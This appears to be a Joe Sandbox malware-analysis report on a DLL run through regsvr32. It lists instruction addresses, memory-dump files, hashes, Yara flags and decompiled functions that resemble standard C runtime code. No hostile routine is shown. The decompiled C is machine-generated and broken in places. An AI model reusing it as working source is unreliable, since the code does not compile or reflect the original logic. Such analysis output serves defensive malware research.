0x10037d1f
0x10037d3d
0x10037d43
0x10037d4f
0x10037d5e
0x10037d6b
0x10037d7e
0x10037d8b
0x10037d9e
0x10037dab
0x10037dbe
0x10037dcb
0x10037dde
0x10037deb
0x10037e03
0x10037e0b
0x10037e18
0x10037e25
0x10037e39
0x10037e42
0x10037e56
0x10037e5f
0x10037e73
0x10037e7c
0x10037e90
0x10037e99
0x10037ead
0x10037eb6
0x10037eca
0x10037ed3
0x10037ee7
0x10037ef0
0x10037f04
0x10037f0d
0x10037f21
0x10037f2a
0x10037f41
0x10037f56
0x10037f59
0x10037f6f
0x10037f74
0x10037f82
0x10037f8b
0x10037f94
0x10037f99
0x10037f9c
0x1003800d
0x10038017
0x10038022
0x10038028
0x1003802a
0x10038030
0x10038030
0x10038038
0x1003803c
0x1003803f
0x10038030
0x1003804c
0x10037f9e
0x10037fa0
0x10037fa9
0x10037fb6
0x10037fc1
0x10037fc7
0x10037fc9
0x10037fd0
0x10037fd0
0x10037fd7
0x10037fe2
0x10037fe6
0x10037fef
0x10037ff2
0x10037fd0
0x10038002
0x10038002
0x10038064
0x10038066
0x10038069
0x10038070
0x10038083
0x10038086
0x10038090
0x10038097
0x1003809a
0x100380aa
0x100380ad
0x100380b8
0x100380bd
0x100380c9
0x100380c9
0x100380cc
0x100380d0
0x100380d4
0x100380dd
0x100380e7
0x100380f1
0x100380f8
0x100380fc
0x1003810d
0x10038112
0x10038116
0x1003811a
0x1003811f
0x10038123
0x1003812f
0x10038125
0x10038125
0x10038125
0x10038137
0x1003813f
0x10038147
0x10038150
0x10038156
0x1003815b
0x10038160
0x10038164
0x10038177
0x1003817b
0x10038180
0x10038184
0x10038189
0x10038192
0x10038196
0x1003819a
0x1003819e
0x100381a2
0x100381a6
0x100381aa
0x100381b2
0x100381b6
0x100381ba
0x100381be
0x100381c2
0x100381c6
0x100381cb
0x100381d5
0x100381d9
0x100381dd
0x100381e1
0x100381ef
0x100381f3
0x100381f8
0x10038210

Strings

gfff, xrefs: 10037D17

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: 615291cd98850b7edefbf77ec7355de41362596d766c34596495a89f62008192
Instruction ID: a4edf1cd7ed913e21f4e8a65c43693ddf1d621eb572127746728ae519c85aabc
Opcode Fuzzy Hash: 615291cd98850b7edefbf77ec7355de41362596d766c34596495a89f62008192
Instruction Fuzzy Hash: 27C181B3B11F854ACA56CB19F85536AA25AFB957C0F409332EE8E5BB48DB3CD1458700

Uniqueness

Uniqueness Score: -1.00%

Function 10047A20 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(?,?,?,?,10047D35), ref: 10047A99

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 3e8942afbe91929658417a144733a3b00c303bf75df8265a1f9b1b70e3951044
Instruction ID: a2e44cdd6a739283190028856026884cdb9b3f53fdbc26e29eb35b5183d95520
Opcode Fuzzy Hash: 3e8942afbe91929658417a144733a3b00c303bf75df8265a1f9b1b70e3951044
Instruction Fuzzy Hash: 8F11BFB660424086DF14CF35D41039C37A1F389BF9F644B22DBBA876C9D779C6A18B86

Uniqueness

Uniqueness Score: -1.00%

Function 10047AF0 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(?,?,?,?,10047CA3), ref: 10047B40

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 6dcfc45b48c722c36e3dfc7a439c9ddf0df14fc8ec44e871dade690f3591bb1e
Instruction ID: c8bc622bda411adc87f67eae239e0c4436c8ac6e3412553c517e06a31f403a4a
Opcode Fuzzy Hash: 6dcfc45b48c722c36e3dfc7a439c9ddf0df14fc8ec44e871dade690f3591bb1e
Instruction Fuzzy Hash: 4A01F7B270428042DB04CF35981035937A1F349BE8F644225DBADC37C9CB79C1928784

Uniqueness

Uniqueness Score: -1.00%

Function 1004D2B0 Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E1004D2B0(void* __r9) {
				signed int _v16;
				char _v18;
				char _v24;
				signed int _t12;
				signed long long _t16;
				void* _t23;
				signed long long _t24;

				_t16 =  *0x100b1640; // 0xf93099fb11e7
				_v16 = _t16 ^ _t24;
				r9d = 6;
				_v18 = 0;
				if(GetLocaleInfoA(??, ??, ??, ??) != 0) {
					E10033B90( &_v24, _t23);
					return E1002FF40(_t12, _v16 ^ _t24);
				} else {
					return E1002FF40(_t12, _v16 ^ _t24);
				}
			}

0x1004d2b4
0x1004d2be
0x1004d2c8
0x1004d2d3
0x1004d2e0
0x1004d2fe
0x1004d314
0x1004d2e2
0x1004d2f8
0x1004d2f8

APIs

GetLocaleInfoA.KERNEL32 ref: 1004D2D8

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: eaef5aecd3aa18b210f67740f7447d9ff18f13f5f249c6ba601ade068ea49570
Instruction ID: 532dd8cbb6af993f49d7fc1e8cd048e59c8cd7ddaafd3ec4595048ca403fa576
Opcode Fuzzy Hash: eaef5aecd3aa18b210f67740f7447d9ff18f13f5f249c6ba601ade068ea49570
Instruction Fuzzy Hash: 0FF0A7657045C081E670E724F41239B7750FBDD798FC00216EB8C47765DE2CD201CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10039C90 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E10039C90(long long __rax) {
				long long _t6;

				_t6 = __rax;
				E10035C30(SetUnhandledExceptionFilter(??), __rax, __rax);
				 *0x100b8000 = 1;
				 *0x100b7ff8 = _t6;
				return 0;
			}

0x10039c90
0x10039ca4
0x10039ca9
0x10039cb0
0x10039cbd

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 10039C9B

Part of subcall function 10035C30: FlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10040A79), ref: 10035C44

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandledValue
String ID:
API String ID: 4104407774-0
Opcode ID: c7362edbb406ee8835e8c8f69eb64c0a317c350e46b212eab265155e9ad135e3
Instruction ID: 8a208fd27a8a8af51c79e5f95daba0cfd2ac5d018ac5276fb19bc3f704cdac51
Opcode Fuzzy Hash: c7362edbb406ee8835e8c8f69eb64c0a317c350e46b212eab265155e9ad135e3
Instruction Fuzzy Hash: 9BD0CA38A22A46C9EA06EB61BCA539032A0B358305FC04024C48A4A371EBAD81DA8700

Uniqueness

Uniqueness Score: -1.00%

Function 10039CC0 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E10039CC0(intOrPtr __rax) {
				_Unknown_base(*)()* _t1;
				_Unknown_base(*)()* _t3;
				intOrPtr _t6;

				if( *0x100b8000 != 0) {
					_t6 =  *0x100b7ff8; // 0x1d86fafae000000
					E10035D00(_t1, __rax, _t6);
					_t3 = SetUnhandledExceptionFilter(??);
					 *0x100b8000 = 0;
					return _t3;
				}
				return _t1;
			}

0x10039ccb
0x10039ccd
0x10039cd4
0x10039cdc
0x10039ce2
0x00000000
0x10039ce2
0x10039ced

APIs

Part of subcall function 10035D00: FlsGetValue.KERNEL32(?,?,00000018,10034295,?,?,00000018,1002E317,?,?,?,?,1000E249), ref: 10035D14

SetUnhandledExceptionFilter.KERNEL32 ref: 10039CDC

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandledValue
String ID:
API String ID: 4104407774-0
Opcode ID: 9d2554320d30432a5ff6c5880d8d5a291d637e9eb3ad3218837790d4acdd0380
Instruction ID: 50759d24f90ba4c5a3fc8eb651044edbc0398f4d2f97b4849886b7b8ee7013c8
Opcode Fuzzy Hash: 9d2554320d30432a5ff6c5880d8d5a291d637e9eb3ad3218837790d4acdd0380
Instruction Fuzzy Hash: A8D0126CD11681C8FB57E712BC593943690735D786F840155C4CA0A3B1CFAC45C9C701

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002765C Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

NK1J, xrefs: 00000001800277B3

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: NK1J
API String ID: 0-1981037839
Opcode ID: c543362e1407162517a28224106b6e2b38507a100d9490db9fe46cafc38dab3b
Instruction ID: 95984c4df3aadbb2d0e9fcc0f179860e0287b2f7f8ff55602cd2e7fefc93019f
Opcode Fuzzy Hash: c543362e1407162517a28224106b6e2b38507a100d9490db9fe46cafc38dab3b
Instruction Fuzzy Hash: A2C198B190470D8FDB88DF68C44A59D7BBAFB55314F008129FC0E9A294D7B8F919CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D87C Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

wkIX, xrefs: 000000018000DA9A

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: wkIX
API String ID: 0-3609546354
Opcode ID: 0199ffd5668d51097293d6ac7ca755b88aed4f3c4ea08cc586476ec026bd57e5
Instruction ID: 66294ea1bb8b46323b6bfc186d036c6aa1aee9b726abc07528fb692b44a866e1
Opcode Fuzzy Hash: 0199ffd5668d51097293d6ac7ca755b88aed4f3c4ea08cc586476ec026bd57e5
Instruction Fuzzy Hash: 62D167B6A02349CFDB49CF68C6CA59E7BF1EF55308F004119FC1A9A2A4D774D529CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180027A68 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

ZC, xrefs: 0000000180027C54

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ZC
API String ID: 0-999232015
Opcode ID: 3e75938c733e84d04aaf91e8aaa409069b823701689788fc59d4d307c2348c26
Instruction ID: e6dad695e192278f08390c16807903862fd1fe0c1d134360996ff478fc728b58
Opcode Fuzzy Hash: 3e75938c733e84d04aaf91e8aaa409069b823701689788fc59d4d307c2348c26
Instruction Fuzzy Hash: 0CA116B1604609CFDB99CF28C4896DE3BE1FF48358F418229FC499B294D774DA68CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028C38 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

PRO,, xrefs: 0000000180028E61

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: PRO,
API String ID: 0-3225949513
Opcode ID: 6416f651049ed0ac0be5d39c5721d5aa9af2b07f5804d72d40d86cb4b195f08c
Instruction ID: e8e76a810b05f1406d7d54461ebca1de715616cd8127471c8c8159daad8240d7
Opcode Fuzzy Hash: 6416f651049ed0ac0be5d39c5721d5aa9af2b07f5804d72d40d86cb4b195f08c
Instruction Fuzzy Hash: F4A1F370D0560CEBEB99CFA4E8C96DDBBB0FB44354F208129E416A72A0DB749A49CF45

Uniqueness

Uniqueness Score: -1.00%

Function 100416F8 Relevance: 1.5, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E100416F8(signed int __edi, signed long long __rax, signed long long* __rcx, void* __rdi, signed long long* __rsi, void* __rbp, void* __r9, void* __r10, void* __r12, signed long long __r15, long long _a32, signed int _a48, signed int _a52, signed int _a56, signed int _a60, signed int _a64, signed int _a65, signed int _a66, signed char _a68, char _a72, unsigned long long _a80, signed long long* _a88, signed int _a96, signed int _a100, signed int _a104, signed int _a108, signed int _a128, char _a129, signed short _a132, intOrPtr _a136, signed char _a140, signed long long _a144, signed int _a152, signed int _a156, unsigned long long _a160, char _a168, intOrPtr _a184, char _a192, signed int* _a200, signed long long* _a208, signed long long _a216, signed long long _a224, char _a227, signed long long _a232, signed long long _a240, signed int _a608, void* _a632, void* _a640, void* _a648, void* _a656, void* _a664, void* _a672, void* _a680, void* _a688) {
				signed int _t252;
				signed int _t254;
				signed int _t255;
				signed int _t269;
				signed int _t270;
				signed int _t272;
				signed char _t290;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				signed int _t296;
				signed char _t301;
				signed int _t310;
				signed int _t311;
				signed int _t313;
				signed int* _t334;
				unsigned long long _t335;
				intOrPtr* _t340;
				signed char* _t343;
				signed char* _t346;
				unsigned long long _t347;
				signed char* _t358;
				void* _t361;
				signed long long* _t363;
				void* _t365;
				signed long long _t367;
				unsigned long long _t372;
				void* _t375;
				intOrPtr _t377;
				signed int* _t378;
				intOrPtr* _t379;
				signed int* _t380;
				void* _t381;
				void* _t383;
				void* _t385;
				signed long long* _t386;
				signed long long _t388;

				_t388 = __r15;
				_t381 = __r12;
				_t375 = __r10;
				_t365 = __rbp;
				_t363 = __rsi;
				_t361 = __rdi;
				_t351 = __rcx;
				_t329 = __rax;
				_t310 = __edi;
				r14d = _a152;
				_t240 = 1;
				r14d = r14b & 0xffffffff;
				r14d =  >  ? 1 : r14d;
				_t372 = __r9 + __rax;
				_a80 = _t372;
				_t376 = _t372;
				if( *_t372 != 0x5e) {
					r13b = _a66;
				} else {
					_t376 = _t372 + 1;
					r13b = 0xff;
				}
				_a216 = _t329;
				_a224 = _t329;
				_a232 = _t329;
				_a240 = _t329;
				if(r12d == 0x7b &&  *_t376 == 0x5d) {
					bpl = 0x5d;
					_t376 = _t376 + 1;
					_a227 = 0x20;
				}
				_t297 =  *_t376 & 0x000000ff;
				if(_t297 == 0x5d) {
					L79:
					if( *_t376 == 0) {
						_t386 = _a88;
						_t294 = _a60;
						L157:
						if(_a136 == 1) {
							_t351 = _t386;
							E1002E330(_t329, _t386);
						}
						if(_t310 != 0xffffffff) {
							if(_t294 != 1) {
								_t377 = _a184;
								r15d = _a108;
								if(_a192 != 0) {
									 *(_t377 + 0xc8) =  *(_t377 + 0xc8) & 0xfffffffd;
								}
							} else {
								E10032420(_t329);
								r9d = 0;
								r8d = 0;
								_t297 = 0;
								_a32 = 0;
								 *_t329 = 0x16;
								E10034370(_t343, _t351, _t359, _t361, _t363, _t365, _t369);
								if(_a192 != 0) {
									 *(_a184 + 0xc8) =  *(_a184 + 0xc8) & 0xfffffffd;
								}
							}
						} else {
							_t297 = _a108;
							if(_a108 != 0 || (_a65 & 0x000000ff) != 0) {
							}
							if(_a192 != 0) {
								 *(_a184 + 0xc8) =  *(_a184 + 0xc8) & 0xfffffffd;
							}
						}
						return E1002FF40(_t297, _a608 ^ _t367);
					}
					_t373 =  ==  ? _t376 : _t372;
					_a80 =  ==  ? _t376 : _t372;
					_t343 = _a144;
					_t313 = _a48 - 1;
					_a48 = _t313;
					if(_t310 != 0xffffffff) {
						_t359 = _t363;
						_t297 = _t310;
						E1004A1D0(_t310, _t305, _t329, _t343, _t363, _t361, _t363, _t369, _t376, _t381);
					}
					if(r12d != 0x63) {
						_t388 = _t388 - 1;
					}
					L85:
					while(1) {
						L85:
						while(1) {
							if(_a104 == 0) {
								L87:
								_t313 = _t313 + 1;
								_t111 =  &(_t363[1]);
								 *_t111 = _t363[1] + 0xffffffff;
								_a48 = _t313;
								if( *_t111 < 0) {
									_t351 = _t363;
									_t252 = E1004A040(_t293, _t313, _t329, _t343, _t351, _t359, _t361, _t363, _t365, _t369, _t376, _t381, _t383, _t385, _t388);
									_t310 = _t252;
									_a52 = _t252;
								} else {
									_t329 =  *_t363 + 1;
									_t310 =  *(_t329 - 1) & 0x000000ff;
									 *_t363 = _t329;
									_a52 = _t310;
								}
								if(_t310 == 0xffffffff) {
									L96:
									_a48 = _t313;
									if(_t310 != 0xffffffff) {
										_t297 = _t310;
										E1004A1D0(_t310, _t305, _t329, _t343, _t363, _t361, _t363, _t369, _t376, _t381);
									}
									L98:
									_t359 = _a144;
									if(_t343 == _t359) {
										_t386 = _a88;
										_t294 = _a60;
										goto L157;
									}
									if(_a56 != 0) {
										_a65 = _a65 + 1;
										r13d = _a48;
										_t343 = _a80 + 1;
										_a80 = _t343;
									} else {
										r15d = _a108;
										r15d = r15d + 1;
										_a108 = r15d;
										if(r12d == 0x63) {
											_a65 = _a65 + 1;
											r13d = _a48;
											_t343 = _a80 + 1;
											_a80 = _t343;
										} else {
											if(r14b == 0) {
												_a65 = _a65 + 1;
												r13d = _a48;
												_t343 = _a80 + 1;
												 *_t359 = 0;
												_a80 = _t343;
											} else {
												_a65 = _a65 + 1;
												r13d = _a48;
												_t343 = _a80 + 1;
												 *_t359 = 0;
												_a80 = _t343;
											}
										}
									}
									L130:
									while(1) {
										L130:
										while(1) {
											do {
												L130:
												if(_t310 != 0xffffffff) {
													while(1) {
														L133:
														_t240 =  *_t343;
														if(_t240 == 0) {
															break;
														}
														goto L1;
													}
													_t386 = _a88;
													_t294 = _a60;
													goto L157;
												}
												if( *_t343 != 0x25) {
													_t386 = _a88;
													_t294 = _a60;
													goto L157;
												}
												if(_t343[1] != 0x6e) {
													_t386 = _a88;
													_t294 = _a60;
													goto L157;
												}
												goto L133;
												L124:
												_t297 = dil & 0xffffffff;
											} while (E10044DA0(dil & 0xffffffff, _t329, _t343, _t351, _t361, _t363, _t365, _t369, _t381) == 0);
											_t180 =  &(_t363[1]);
											 *_t180 = _t363[1] + 0xffffffff;
											if( *_t180 < 0) {
												_t351 = _t363;
												r8d = E1004A040(_t293, _t313, _t329, _t343, _t351, _t359, _t361, _t363, _t365, _t369, _t376, _t381, _t383, _t385, _t388);
											} else {
												_t329 =  *_t363 + 1;
												r8d =  *(_t329 - 1) & 0x000000ff;
												 *_t363 = _t329;
											}
											_t297 =  *_t343 & 0x000000ff;
											_t343 =  &(_t343[1]);
											_a80 = _t343;
											if(_t297 != r8d) {
												if(r8d != 0xffffffff) {
													_t359 = _t363;
													_t297 = r8d;
													E1004A1D0(r8d, _t305, _t329, _t343, _t363, _t361, _t363, _t369, _t376, _t381);
												}
												if(_t310 == 0xffffffff) {
													_t386 = _a88;
													_t294 = _a60;
												} else {
													_t359 = _t363;
													_t297 = _t310;
													E1004A1D0(_t310, _t305, _t329, _t343, _t363, _t361, _t363, _t369, _t376, _t381);
													_t386 = _a88;
													_t294 = _a60;
												}
												goto L157;
											} else {
												_a48 = r13d;
												continue;
											}
										}
									}
								} else {
									if(r12d == 0x63) {
										L105:
										if(_a56 != 0) {
											_t343 =  &(_t343[1]);
											continue;
										}
										if(_t388 == 0) {
											E10032420(_t329);
											 *_t329 = 0xc;
											if(r14b == 0) {
												_t386 = _a88;
												 *_t343 = 0;
												_t294 = _a60;
											} else {
												_t386 = _a88;
												 *_t343 = 0;
												_t294 = _a60;
											}
											goto L157;
										}
										if(r14b == 0) {
											_t329 = _a144 + 1;
											_t388 = _t388 - 1;
											 *(_t329 - 1) = dil;
											_a144 = _t329;
										} else {
											_t297 = dil & 0xffffffff;
											_a128 = dil;
											if(E10044DA0(dil & 0xffffffff, _t329, _t343, _t351, _t361, _t363, _t365, _t369, _t381) != 0) {
												_t313 = _t313 + 1;
												_t131 =  &(_t363[1]);
												 *_t131 = _t363[1] + 0xffffffff;
												_a48 = _t313;
												if( *_t131 < 0) {
													_a129 = E1004A040(_t293, _t313, _t329, _t343, _t363, _t359, _t361, _t363, _t365, _t369, _t376, _t381, _t383, _t385, _t388);
												} else {
													_t358 =  *_t363;
													_a129 =  *_t358 & 0x000000ff;
													 *_t363 =  &(_t358[1]);
												}
											}
											_a132 = 0x3f;
											_t369 =  *((intOrPtr*)(_a168 + 0x10c));
											_t359 =  &_a128;
											_t351 =  &_a132;
											E10049420(_t311, _a168, _t343, _t351,  &_a128, _t361, _t363,  *((intOrPtr*)(_a168 + 0x10c)),  &_a168);
											_t340 = _a144;
											r11d = _a132 & 0x0000ffff;
											 *_t340 = r11w;
											_t329 = _t340 + 2;
											_t388 = _t388 - 1;
											_a144 = _t329;
										}
										continue;
									}
									if(r12d != 0x73) {
										if(r12d != 0x7b) {
											goto L96;
										}
										_t329 = _t310 >> 3;
										_t305 = _t310 & 0x00000007;
										_t297 =  *(_t367 + _t329 + 0xd8) ^ r13b;
										asm("bt ecx, edx");
										if(( *(_t367 + _t329 + 0xd8) ^ r13b) >= 0) {
											goto L96;
										}
										goto L105;
									}
									if(_t310 < 9 || _t310 > 0xd) {
										if(_t310 != 0x20) {
											goto L105;
										}
									}
									goto L96;
								}
							}
							_t301 = _a68;
							_t297 = _t301 - 1;
							_a68 = _t301 - 1;
							if(_t301 == 0) {
								goto L98;
							}
							goto L87;
						}
					}
				} else {
					_t311 = 1;
					do {
						_t376 = _t363 + _t376;
						if(_t297 != 0x2d || bpl == 0) {
							L76:
							r8d = _t297 & 0x000000ff;
							bpl = _t297;
							_t369 = _t369 >> 3;
							_t305 = _t311 << (_t297 & 7);
							 *(_t367 + _t369 + 0xd8) =  *(_t367 + _t369 + 0xd8) | _t311 << (_t297 & 7);
						} else {
							_t290 =  *_t376 & 0x000000ff;
							if(_t290 == 0x5d) {
								goto L76;
							}
							_t376 = _t363 + _t376;
							if(bpl >= _t290) {
								r10b = bpl;
								bpl = _t290;
							} else {
								r10d = _t290 & 0x000000ff;
							}
							if(bpl > r10b) {
								L75:
								bpl = 0;
								goto L77;
							} else {
								r9d = bpl & 0xffffffff;
								do {
									_t369 = _t372 >> 3;
									bpl = bpl + sil;
									_t372 = _t363 + _t372;
									_t305 = _t311 << (bpl & 7);
									 *(_t367 + _t369 + 0xd8) =  *(_t367 + _t369 + 0xd8) | _t311 << (bpl & 7);
								} while (bpl <= r10b);
								goto L75;
							}
						}
						L77:
						_t297 =  *_t376;
					} while (_t297 != 0x5d);
					_t363 = _a208;
					_t372 = _a80;
					goto L79;
				}
				L1:
				_t297 = _t240 & 0x000000ff;
				if(E100434A0(_t293, _t240 & 0x000000ff, _t359, _t361, _t363, _t365, _t369, _t375, _t381, _t383, _t385, _t388) == 0) {
					if( *_t343 != 0x25) {
						r13d = r13d + 1;
						_t173 =  &(_t363[1]);
						 *_t173 = _t363[1] + 0xffffffff;
						_a48 = r13d;
						if( *_t173 < 0) {
							_t351 = _t363;
							_t254 = E1004A040(_t293, _t313, _t329, _t343, _t351, _t359, _t361, _t363, _t365, _t369, _t376, _t381, _t383, _t385, _t388);
							_t310 = _t254;
							_a52 = _t254;
						} else {
							_t329 =  *_t363 + 1;
							_t310 =  *(_t329 - 1) & 0x000000ff;
							 *_t363 = _t329;
							_a52 = _t310;
						}
						_t255 =  *_t343 & 0x000000ff;
						_t343 =  &(_t343[1]);
						_a80 = _t343;
						if(_t255 != _t310) {
							if(_t310 == 0xffffffff) {
								_t386 = _a88;
								_t294 = _a60;
							} else {
								_t359 = _t363;
								_t297 = _t310;
								E1004A1D0(_t310, _t305, _t329, _t343, _t363, _t361, _t363, _t369, _t376, _t381);
								_t386 = _a88;
								_t294 = _a60;
							}
							goto L157;
						} else {
							goto L124;
						}
					} else {
						bpl = 0;
						r15d = 0;
						r14d = 0;
						dil = 0;
						r12b = 0;
						_a140 = bpl;
						_a144 = _t388;
						r13b = 0;
						bpl = 1;
						r15d = 0;
						_a156 = r14d;
						_a96 = r14d;
						_a68 = 0;
						_a66 = 0;
						_a72 = 0;
						_a152 = 0;
						_t311 = 0;
						do {
							_t346 =  &(_t343[1]);
							_a80 = _t346;
							_t295 =  *_t346 & 0x000000ff;
							_t297 = _t295;
							if(E10043280(_t295, _t295, _t359, _t361, _t363, _t365, _t369, _t375, _t381, _t383, _t385, _t388) == 0) {
								_t296 = _t295 + 0xffffffd6;
								if(_t296 <= 0x4d) {
									_t359 = 0x10000000;
									_t329 = _t296;
									_t297 =  *(0x10000000 + 0x42a28 + _t296 * 4);
									_t351 =  &(_t351[0x2000000]);
									goto __rcx;
								}
								_t343 = _a80;
								r12b = r12b + 1;
							} else {
								r14d = r14d + 1;
								r15d =  &(_t346[_t329 * 2 - 0x30]);
								_t343 = _a80;
							}
						} while (r12b == 0);
						_a56 = dil;
						_t310 = _a52;
						_a64 = bpl;
						r10d = _a56 & 0x000000ff;
						_t313 = _a140 & 0x000000ff;
						_a104 = r14d;
						r14d = _a156;
						_a68 = r15d;
						_t388 = _a144;
						_a100 = _t311;
						_t363 = _a208;
						if(r10b != 0) {
							_a144 = _t388;
						} else {
							_t334 = _a160;
							_a200 = _t334;
							_t335 = _t334 + 8;
							_a160 = _t335;
							_t329 =  *((intOrPtr*)(_t335 - 8));
							_a144 = _t329;
						}
						_t293 = 0;
						if(r13b != 0) {
							_t372 = _a80;
						} else {
							_t372 = _a80;
							_t272 =  *_t372 & 0x000000ff;
							if(_t272 == 0x53 || _t272 == 0x43) {
								r13b = 1;
							} else {
								r13b = 0xff;
							}
						}
						r12d =  *_t372 & 0x000000ff;
						r12d = r12d | 0x00000020;
						_a156 = r12d;
